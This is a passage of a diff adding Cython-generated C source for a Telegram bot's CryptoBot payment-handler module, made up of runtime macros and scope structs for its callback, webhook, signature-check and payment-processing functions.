__Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/cryprobot_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + +/* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_invoice; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook { + PyObject_HEAD + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_request; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash { + PyObject_HEAD + PyObject *__pyx_v_body_text; + PyObject *__pyx_v_crypto_pay_signature; + PyObject *__pyx_v_request; +}; + + +/* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_custom_payload; + PyObject *__pyx_v_e; + PyObject *__pyx_v_payload; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_invoice; + PyObject *__pyx_v_message; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static 